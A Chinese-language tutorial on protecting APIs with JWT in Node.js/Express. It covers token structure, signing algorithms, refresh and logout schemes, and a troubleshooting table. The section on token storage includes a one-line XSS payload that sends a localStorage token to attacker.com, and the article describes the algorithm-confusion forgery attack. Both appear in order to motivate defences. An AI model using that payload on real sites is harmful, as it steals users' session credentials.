接手过一个内部项目,API 接口完全裸奔,只要拿到地址就能调,数据随便查。后来用 JWT 做了一层认证和授权,才把口子堵住。这个标题其实涵盖了 Web 开发里最核心的两个词:Authentication(认证)和 Authorization(授权)。很多人混着说,但认证是证明“你是谁”,授权是确认“你能干什么”。JWT 这玩意儿就是同时解决这两个问题的通用方案,无论是前后端分离的 SPA、移动端 App,还是微服务之间的调用,都可以用它来保护 API。这篇东西适合正在写接口但还没上登录体系的开发者,也适合已经用了 Session 但被分布式环境折腾得头疼的人,甚至适合只是听说过 JWT 想搞明白原理的初学者。我会把原理、实操、安全加固、排错经验全部串起来讲,尽量讲透。
JWT 全称是 JSON Web Token,本质是一串经过签名的 JSON 数据。它不依赖服务端存储会话信息,自身就携带了用户身份和元数据,是一种“无状态”的认证凭证。你可能听过各种关于 JWT 的争论:有人说它不安全,有人说它不好用,还有人纯粹是被各种教程里的术语绕晕了。实际上 JWT 只是一个工具,用得好不好取决于有没有真正理解它的机制和边界。这篇文章会从为什么要用 JWT 讲起,一直讲到怎么安全落地、怎么排查线上问题。
1. 为什么放着 Session 不用,非得上 JWT
1.1 传统会话机制的天花板
传统的 Web 登录流程大概是这样的:用户提交账号密码,服务器验证通过后,在内存或者数据库里创建一条 Session 记录,同时把 Session ID 通过 Cookie 种到浏览器里。之后用户每次请求都会自动带上这个 Cookie,服务器拿着 Session ID 去查记录,查到就放行。
这套机制在小规模单体应用里跑得很顺,但一旦系统做大,问题就一个一个冒出来。
第一个问题是分布式会话同步。你有三台服务器,用户第一次请求落到 A 机器,Session 存在 A 的内存里。下一次请求负载均衡把它分到了 B 机器,B 机器查不到这个 Session,用户就被迫重新登录。解决办法要么是引入 Redis 这类集中式会话存储,要么配置粘性会话让用户的请求固定打到同一台机器上。前者增加架构复杂度,后者在扩容缩容时会出幺蛾子。
第二个问题是跨域和跨端共享。现在很多项目是前后端完全分离,前端静态资源挂在 CDN 上,后端 API 是独立域名。CORS 配置要折腾,Cookie 的 SameSite 属性动不动就拦你一下,移动端 App 更不能说天然支持 Cookie 这套机制。你费尽心思把 Session 弄通了,下一个需要对接的第三方系统又会带来新的问题。
第三个问题是 Session 数据的容量与管理。Session 是存储在服务器端的内存数据,大流量场景下占内存、占存储,还要考虑过期清理机制。用户量一旦上来,Session 管理就变成一件必须认真对待的运维事项。
1.2 JWT 是什么,它解决了什么问题
JWT 是一种开放标准,定义在 RFC 7519 里。它把用户信息加密编码成一个 token 字符串,发给客户端保存。客户端后续请求时把它放在 Authorization 请求头里,服务器验签通过后,直接从 token 里取出用户信息使用,不需要再去内存或数据库里查会话记录。
这种“自包含 + 无状态”的特性,天然适合分布式系统。任何一台服务器只要能验证 token 的签名,就可以信任 token 里的内容,不用去别的节点同步会话数据。用户的认证状态在客户端手里握着,服务器只负责验证。
跨端问题也顺带解决了。token 是普通的字符串,不存在 Cookie 那种随域名的限制,想放 Header 里就放 Header 里,想放请求体里就放请求体里。移动端 App 把 token 存在本地安全存储区,SPA 存在内存里,第三方系统对接时在请求头拼上 token,各管各的。
JWT 也不是没有代价。它最大的问题是“认了就不能立刻反悔”——签发出去的 token 在过期之前一直有效,如果用户被删号或者权限被改,token 在剩余有效期内仍然可以访问接口。这一点后面我会专门讲解决办法。总体来说,在前后端分离、微服务、移动端等场景里,JWT 比 Session 更合适,前提是设计得当。
2. JWT 的核心结构与原理解读
2.1 三部分逐段拆解
一个 JWT token 长这样:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkphbWVzIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c它由三段用点号分隔的字符串组成:Header(头部)、Payload(载荷)、Signature(签名)。
Header 是 JSON 对象,声明了签名算法和 token 类型。常见内容是{"alg": "HS256", "typ": "JWT"}。这里的 alg 很重要,后面安全部分会讲。
Payload 是存放实际数据的地方,可以放用户 ID、用户名、角色、权限标识等。标准里定义了一些预定义字段,比如exp(过期时间)、iat(签发时间)、sub(主题)、aud(受众)、iss(签发者),但并没有限制你只能放这些字段,你也可以自定义字段,只是要注意别塞敏感信息。因为 Payload 只是 base64url 编码,不是加密,任何人拿到 token 都能解码出来看。
Signature 是这么算出来的:把编码后的 Header 和 Payload 用点号拼起来,然后用 Header 里声明的算法、一个只有服务器知道的密钥,对这个字符串做签名计算。这个签名保证了 token 没有被篡改。任何人改动了 Header 或者 Payload 里的任何字符,签名都对不上,服务器验签时就会直接拒绝。
有一点很多人会忽略:base64url 编码跟普通 base64 不完全一样。标准 base64 里有+、/、=这几个字符,这些字符放在 URL 或者 Header 里可能造成歧义,所以 JWT 规定把+换成-,把/换成_,并且去掉末尾的=填充符。自己拼 token 的人要注意这点,直接用成熟开源库就行,别手写编解码。
2.2 HS256 与 RS256 怎么选
JWT 支持多种签名算法,最常见的是 HS256 和 RS256。两者机制完全不同,用错了会出安全事故。
HS256 是对称算法,加密和解密(这里更准确地说是签名和验签)用的是同一个密钥。签出来的 token 只有持有这个密钥的人才能验证,所以这个密钥绝对不能外泄。实现简单、计算快,适合单体应用里服务端自己签发自己验证的场景。但问题也很明显:你在多个服务之间共享这个密钥,任何一个服务被攻破,密钥泄露,它就能冒充系统里任何用户签发 token,所有服务都要跟着受牵连。
RS256 是非对称算法,有一对密钥:私钥签名,公钥验签。服务器用私钥签发 token,任何需要验证 token 的服务只需要拿到公钥即可。公钥是公开的,就算泄露也不会导致有人能伪造签名,因为伪造的前提是拿到私钥。这让 RS256 天然适合微服务架构:认证服务单独保管私钥,其他业务服务只持有公钥,互相之间不用共享秘密。
如果你的项目是网关统一认证,后端有好几个微服务,建议直接上 RS256。如果只是一个小单体应用,HS256 完全够用,性能更好、部署更简单。还有一个折中方案是 EC 系列算法,即 ES256,它用椭圆曲线实现非对称签名,密钥比 RSA 短、性能比 RSA 快,但配套支持没有 RSA 那么普及,调试起来费劲一点。
2.3 关键声明字段与过期策略
在实际项目里,除了自定义业务字段,有几个标准声明是必须关注的。
exp(过期时间)是 UNIX 时间戳格式,表示 token 什么时候失效。这是 JWT 安全的核心防线,千万不能省略。签发 token 的时候一定要设定合理的过期时间,我这里给个实际经验值:普通用户访问 token 的过期时间建议 15 分钟到 2 小时之间,不要超过一天。token 一旦泄露,过期时间越短,攻击者能利用的窗口就越小。
iat(签发时间)标记 token 什么时间签发的,可以配合exp计算剩余有效期,也可以在刷新 token 的时候做判断。
nbf(生效时间)比较少用,意思是这个 token 在某个时间点之前不可用。适合要定时开放权限的场景。
aud(受众)指定这个 token 是给哪个服务或者哪个客户端用的。微服务场景下,A 服务签发的 token 不应该能调到 B 服务接口,通过校验aud可以做到隔离。
sub(主题)是 token 的拥有者标识,通常放用户 ID,是服务端识别用户身份的主要依据。
过期策略方面,业界最常见的做法是“双 token 机制”:access token 有效期短,用于访问 API;refresh token 有效期长,用于在 access token 过期后申请新的 token。这样既保证了安全性,又避免了用户频繁重新登录。我会在实操章节把完整链路写出来。
3. 实操:在 Node.js 里落地一套 JWT 认证闭环
3.1 技术选型与目录结构
我用的是 Node.js + Express 这套最普遍的组合。JWT 库选的是jsonwebtoken,这是 Node 生态里最成熟、使用最广的一个库,没有之一。如果你用 Python 就用PyJWT,Go 用golang-jwt/jwt,思路完全一致。
目录结构我是这样组织的:
project-root/ ├── src/ │ ├── middleware/ │ │ └── auth.js │ ├── routes/ │ │ └── auth.js │ ├── controllers/ │ │ └── authController.js │ ├── models/ │ │ └── user.js │ ├── utils/ │ │ └── token.js │ ├── app.js │ └── config.js └── package.jsonmiddleware 目录放认证中间件,routes 定义路由,controllers 处理业务逻辑,utils/token.js 封装 token 的签发和验证。这样拆分的好处是职责清晰,后续如果你要替换算法或者加黑名单机制,只需要改 utils 和 middleware,路由和控制器不用动。
安装依赖只需要两条命令:
npm install express jsonwebtoken dotenv npm install --save-dev nodemondotenv 用来管理环境变量,密钥、过期时间这些配置不要写死在代码里,这是最基本的习惯。
3.2 登录接口与 Token 签发
登录接口做的事情很简单:校验账号密码,校验通过就签发 token 返回给客户端。我加了一个环境变量的概念在里面。
实际项目中密码绝不应该是明文存储和比对,真实项目里这里一定是调用用户服务校验密码哈希。下面只是认证链路演示,密码比对我用一个占位函数代替。
先新建config.js:
require('dotenv').config(); module.exports = { jwt: { accessSecret: process.env.ACCESS_TOKEN_SECRET, refreshSecret: process.env.REFRESH_TOKEN_SECRET, accessExpiresIn: process.env.ACCESS_TOKEN_EXPIRES_IN || '15m', refreshExpiresIn: process.env.REFRESH_TOKEN_EXPIRES_IN || '7d' } };.env文件长这样:
ACCESS_TOKEN_SECRET=your-access-token-secret REFRESH_TOKEN_SECRET=your-refresh-token-secret ACCESS_TOKEN_EXPIRES_IN=15m REFRESH_TOKEN_EXPIRES_IN=7d接着写utils/token.js,封装签发和验证逻辑:
const jwt = require('jsonwebtoken'); const config = require('../config'); function generateTokens(user) { const payload = { sub: user.id, username: user.username, role: user.role }; const accessToken = jwt.sign(payload, config.jwt.accessSecret, { expiresIn: config.jwt.accessExpiresIn, algorithm: 'HS256' }); const refreshToken = jwt.sign({ sub: user.id }, config.jwt.refreshSecret, { expiresIn: config.jwt.refreshExpiresIn, algorithm: 'HS256' }); return { accessToken, refreshToken }; } function verifyAccessToken(token) { return jwt.verify(token, config.jwt.accessSecret); } function verifyRefreshToken(token) { return jwt.verify(token, config.jwt.refreshSecret); } module.exports = { generateTokens, verifyAccessToken, verifyRefreshToken };登录路由:
const express = require('express'); const router = express.Router(); const { generateTokens } = require('../utils/token'); router.post('/login', async (req, res) => { const { username, password } = req.body; // 真实项目这里应该去数据库比对密码哈希,比如用 bcrypt // 这里假设已经拿到了用户实体 const user = await findUserByUsername(username); if (!user || !(await verifyPassword(password, user.passwordHash))) { return res.status(401).json({ message: '用户名或密码错误' }); } const tokens = generateTokens(user.toJSON()); res.json(tokens); }); module.exports = router;到这里你有疑问是很正常的:refresh token 只放了sub,没有放角色和权限信息,这是故意的。refresh token 的唯一职责就是换来新的 access token,它不应该携带太多业务数据。如果哪天 refresh token 泄露了,攻击者最多用它去换 access token,拿不到什么用户敏感信息。
3.3 认证中间件与 API 保护
认证中间件是保护 API 的核心,它的职责有三个:取出 Authorization 头里的 token、验证签名和过期时间、把解析出来的用户信息挂到请求对象上。
写一个 Express 风格的中间件middleware/auth.js:
const { verifyAccessToken } = require('../utils/token'); function authRequired(req, res, next) { const authHeader = req.headers.authorization; if (!authHeader || !authHeader.startsWith('Bearer ')) { return res.status(401).json({ message: '缺少认证信息' }); } const token = authHeader.split(' ')[1]; try { const decoded = verifyAccessToken(token); req.user = decoded; next(); } catch (err) { return res.status(401).json({ message: 'Token 无效或已过期' }); } } module.exports = authRequired;注意一点:解析 Bearer token 时,我用的是split(' '),而不是正则表达式。网上很多教程会用正则做比较严格的匹配,但实际业务场景里请求头格式相对统一,简单 split 足够,还不会因为正则回溯问题引入性能隐患。
把这个中间件挂到需要保护的 API 上:
const express = require('express'); const authRequired = require('./middleware/auth'); const app = express(); app.use(express.json()); // 公开接口 app.post('/login', authRoutes); // 受保护接口 app.get('/api/profile', authRequired, (req, res) => { res.json({ user: req.user }); }); app.get('/api/admin/dashboard', authRequired, requireRole('admin'), (req, res) => { res.json({ data: '管理后台数据' }); });受保护接口收到请求后,中间件验证通过,req.user里就是当前登录用户的信息。业务代码直接读这个对象就行,不用再查一次库。有一次性能上的小优化,如果你追求更快的鉴权,可以把req.user里的数据做内存缓存,避免每次请求都解析 token。不过这是后话,大多数项目没这个必要。
3.4 刷新令牌与退出登录
access token 过期后,用户不能每次都被踢去重新登录,这时候 refresh token 就派上用场了。
刷新 token 的接口:
const { verifyRefreshToken, generateTokens } = require('../utils/token'); router.post('/refresh', async (req, res) => { const { refreshToken } = req.body; if (!refreshToken) { return res.status(401).json({ message: '缺少 refresh token' }); } try { const decoded = verifyRefreshToken(refreshToken); const user = await findUserById(decoded.sub); if (!user) { return res.status(401).json({ message: '用户不存在' }); } const tokens = generateTokens(user.toJSON()); res.json(tokens); } catch (err) { return res.status(401).json({ message: 'refresh token 无效或已过期' }); } });关于退出登录,JWT 的无状态特性在这里是个天然的短板:token 在过期前始终有效,你没法让服务器“忘记”它。但开发中确实有退出登录的需求,我讲三个常用的方案。
最简单的方案是客户端直接扔掉 token,下次请求不带就行了。但这只解决了客户端的问题,已经泄露出去的 token 依然有效。
稍微可靠一点的是引入 token 黑名单。在 Redis 里维护一个黑名单集合,注销时把 token 的jti(JWT ID)加进去,中间件验证时先查一下黑名单。代价是引入了状态存储,和“无状态”的初衷有些冲突,但为了业务需求完全可以接受。
还有一个方案我实际操作中觉得最实用:给每个用户维护一个 token 版本号。Redis 里存一个token_version:{userId},签发 token 时把这个版本号嵌入 payload,中间件验证时对比版本号,不一致就拒绝。退出登录时直接自增版本号,所有已签发的旧 token 当场作废,比维护黑名单简单得多,还能覆盖“把用户踢下线”这种运营需求。
4. 安全加固:JWT 实战中不得不防的攻击面
4.1 Token 泄露风险与存储方式
JWT 最核心的安全假设就是 token 不泄露。可一旦把 token 存储在 localStorage 里,假设基本等于没做。
localStorage 有一个致命缺陷:任何能执行在页面上的脚本都能读取它。如果网站不小心引入了第三方脚本,或者有 XSS 漏洞,攻击者一行代码就能把 token 偷走:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('accessToken'));相比之下,把 token 放在 httpOnly 的 Cookie 里会让脚本读不到,XSS 攻击面就小了一大截。Cookie 还有过期、Secure 等属性可以配置。所以我的建议是:
- 单页应用优先把 access token 放在内存变量里,不落盘,刷新页面可能丢,但换来的是更强的抗 XSS 能力。配合 refresh token 放在 httpOnly Cookie 里,可以做到用户无感知续期。
- 移动端 App 把 token 放在系统安全存储区(iOS 的 Keychain 或 Android 的 Keystore),不要用明文文件、不要用 SharedPreferences。
- 如果无论如何都得放 localStorage,那就要开启 CSP 禁掉内联脚本、严格审查所有依赖,时刻警惕 XSS 漏洞。
Cookie 方案需要注意 CSRF 攻击。token 放在 Cookie 里后,其他网站可以伪造一个表单提交或者简单请求,让浏览器带着你的 Cookie 跑到目标接口上。防御思路是校验 Origin/Referer,或者使用自定义 Header + 前后端配合校验,也可以为敏感接口增加 CSRF token。比较省心的做法是:Cookie 只放 refresh token,access token 放内存,访问受保护接口时用 Authorization 头传 access token,这样两者优点都占了。
4.2 防重放与刷新令牌轮换
重放攻击是指攻击者截获一个合法的请求,原封不动地再发送一遍,达到重复操作的目的。JWT 本身不防重放,它只负责证明“这个 token 确实是你签发的、还在有效期里”。
常用的缓解手段有几个。
第一是尽量缩短 token 的过期时间。access token 有效期内都可以被重放,窗口越短风险越小。
第二是利用jti字段做唯一标识,配合服务端存储实现一次性 token。refresh token 必须这样处理——每次刷新接口被调用后,旧的 refresh token 立即作废,换发新的 refresh token。这个机制叫 refresh token rotation。如果攻击者盗用了 refresh token,但用户自己是正常使用的,第一次使用后攻击者手里的旧 token 就失效了,配合使用异常检测,甚至可以反过来识别这些攻击。
第三是在 Payload 里加一个客户端指纹,比如用户登录设备的 IP、User-Agent 的哈希值,然后签发 token 时绑定这些信息。注意,不能直接把 IP 明文放进去,因为换网络会误伤正常用户,你要做的是绑定一个“大致不变”的设备特征,比如说一个设备唯一 ID。
4.3 算法混淆与密钥泄露的坑
HS256 和 RS256 不只是算法选择问题,还牵扯一个经典漏洞:算法混淆攻击。
有些 JWT 库在验证 token 时是信任 Header 里alg字段的值的。攻击者把一个原本用 RS256 签名的 token 改成 HS256,然后拿一个公钥当 HMAC 密钥验签,如果服务端没有严格限定算法,攻击者只要有心,就能把自己构造的 token “验证通过”。
真实攻击过程我见过一次,对方就是拿公钥直接去 HMAC 签名了一个自己的 token,因为很多 JWT 库在 HS256 模式下会把公钥当普通密钥字符串使用,于是验签竟然通过了。
防御很简单:验证的时候明确指定允许的算法,不要相信 token 里自己声明的。jsonwebtoken库可以这么写:
jwt.verify(token, publicKey, { algorithms: ['RS256'] });这样写死之后,如果有人试图用 HS256 攻击,验签直接抛异常。
密钥泄露是另一个大头。不管什么算法,私钥或对称密钥一旦泄露,签名体系就废了。密钥管理要遵守几条底线:不要把密钥写在代码仓库,不要写在前端环境变量里,不要长期使用同一把密钥不轮换。有条件就上专门的密钥管理服务,没条件也要把密钥放在环境变量或者加密配置中心里,配合定期的密钥轮换流程。
HS256 模式下的密钥强度更要注意,一定要用足够长的随机字符串,至少 32 字节(64 个十六进制字符)。短密钥在离线暴力破解面前是不堪一击的。生成方式可以这样:
openssl rand -base64 64RS256 模式下更复杂一点,私钥要放到后端独立的配置中心,访问控制要严格,所有服务器的密钥分发要使用加密通道。
4.4 日志与监控:不要把密钥和 Token 打出来
线上排查问题的时候,最爽的事情是打印日志,最危险的事情也是打印日志。我见过有人为了调试方便,把自己的 JWT 完整落到日志文件里,结果测试环境日志被拖库,用户的 token 全部泄露。
token 是身份凭证,跟密码一个级别。日志里如果必须记录请求信息,可以记录 token 的前 8 位:token: eyJhbGci...,足够排查问题比对用,又不会泄露完整凭证。Payload 里的敏感字段也应该脱敏,用户手机号、邮箱这些信息不该出现在日志里。
另外一个实用的监控手段是统计失败验签的频率。正常情况下,一个合法用户偶尔因为过期被拒一两次可以理解,但如果某个用户短时间内持续报 401,那很可能是有攻击者在试 token,或者是 token 已经被泄露、正在被滥用。把这些数据拉出来做告警,比事后翻日志高效得多。
5. 常见问题与排错实录
5.1 Token 过期但客户端不刷新
这是实际项目里遇到最多的一个问题。用户正在填一个很长的表单,填到一半提交的时候,access token 过期了,接口返回 401,数据没了,用户心态直接炸。
方案是在前端封装一个统一的请求拦截器,遇到 401 时不要直接报错,而是先尝试调用刷新接口换一个新的 access token,换成功就自动重放原来失败的请求。如果刷新也失败,再引导用户重新登录。这个方案不复杂,但能省下至少一半的“用户登录过期”客诉。
这里有个并发请求的坑。如果同时有多个请求都因为 token 过期返回 401,你的前端可能会并发发起多次刷新请求,不仅浪费请求,还会导致刷新 token 被重复使用。因为 refresh token 旋转机制下,旧的 refresh token 再被使用就会被判失效,反而把自己搞下线了。
解决办法是做一个刷新请求的单例,第一个请求发出后,后面的请求都等它完成,然后复用同一个新 token。代码逻辑类似这样:
let refreshPromise = null; function refreshAccessToken() { if (!refreshPromise) { refreshPromise = api.post('/auth/refresh', { refreshToken }) .then(res => { storeTokens(res.data); return res.data.accessToken; }) .finally(() => { refreshPromise = null; }); } return refreshPromise; }5.2 服务器时间不同步导致验签失败
JWT 里的exp、iat、nbf都是 UNIX 时间戳,基于服务器的时间。如果签发 token 和验证 token 的两台服务器时间不一致,会看到一个很诡异的现象:本地明明是刚签发的 token,到另一台服务器上直接被当成已过期。
排查方法很简单:在两台服务器上分别执行date命令,看时间差。解决办法更简单:部署 NTP 时间同步,让所有服务器的时间保持基本一致。另外验证的时候可以允许一个几十秒的时钟偏移量,jsonwebtoken里可以通过clockTolerance参数设置,比如 30 秒,足以抵消因为网络延迟或者时间同步间隔造成的短暂偏差。
jwt.verify(token, secret, { clockTolerance: 30 });5.3 Bearer 解析失败和常见报错
下面的报错是实际开发里第二梯队的高频问题,我整理成一个速查表,基本能覆盖绝大多数情况。
| 报错 | 原因 | 解决办法 |
|---|---|---|
TypeError: Cannot read properties of undefined (reading 'split') | 请求头里根本没有 Authorization 字段,或者读取了不存在的 Header 名 | 确认req.headers.authorization存在并已正确命名,注意不是authorization就是小写,Express 统一是小写 |
JsonWebTokenError: jwt malformed | token 格式不对,不是三段式 JWT,比如复制的时候少了后半截 | 检查前端传递的 token 是否完整,有没有被截断 |
TokenExpiredError: jwt expired | token 已过期 | 走刷新流程或重新登录 |
JsonWebTokenError: invalid signature | 密钥不匹配,或者 token 被篡改 | 确认签发和验证用的是同一个密钥,检查密钥是否轮换过 |
JsonWebTokenError: invalid algorithm | 验证时指定的算法跟 token 的 header 不一致 | 在jwt.verify里写死algorithms数组,确保跟签发时一致 |
NotBeforeError: jwt not active | 当前时间早于nbf声明的生效时间 | 确认签发时没有设置错误的nbf,检查服务器时间是否正确 |
5.4 密钥轮换时的平滑过渡
JWT 有个非常现实的问题:密钥轮换后,旧 token 全部失效,所有在线用户会被强制踢下线。如果你的系统有多个 App 正在跑,这就是一个不大不小的线上事故。
我处理这个问题的方式是利用jsonwebtoken的多密钥验证能力。具体来说,签发 token 时在 Header 里加一个kid(Key ID)字段,标示用的是哪把密钥。验证时根据kid从配置中心取出对应的密钥,而不是写死用最新那把。这样轮换的时候可以这样操作:
- 生成新密钥,加到密钥列表里。
- 签发新 token 时使用新密钥,Header 里带上新的
kid。 - 验证端同时保留新旧两把密钥,根据
kid自动选择。 - 等旧 token 全部自然过期(比如旧密钥的 access token 最长有效期为 15 分钟,等 30 分钟以上),再彻底移除旧密钥。
这个方案几乎无感知,也不会打断线上用户,适合需要频繁轮换密钥、或者排查疑似密钥泄露后需要紧急替换密钥的场景。
5.5 Payload 里放了敏感信息
很多人觉得 Payload 是加密的,就把手机号、身份证号甚至密码直接塞进去。这是对 JWT 的误解。Payload 只是 base64url 编码,没有任何加密强度,谁拿到 token 都能解密出来看。
一个真实的教训:某系统把用户的家庭住址放进了 access token,结果 token 在日志里泄露,等于把用户地址直接送给了攻击者。
所以规则很简单:Payload 里能放的最小信息集合是sub(用户 ID)、role(角色)、username(显示用),任何敏感个人数据都只能存服务端,token 里放一个可查询的 ID 就够了。如果真的需要临时塞一些非敏感数据,比如会话标识,也要有意识地控制字段大小,因为 token 每次请求都会带回服务端,字段太多会平白增加网络传输开销。
最后再说说我个人的经验。如果你想让 JWT 方案少踩坑,就记住这几条:用短有效期的 access token 加长生命周期的 refresh token;发现密钥泄露立马上线新旧密钥平滑过渡机制;所有验证逻辑统一收敛到一个中间件里,不要散落得到处都是。JWT 本身不复杂,复杂的永远是安全边界和业务场景的权衡。把这两件事想清楚,你手里的 API 就稳了一大半。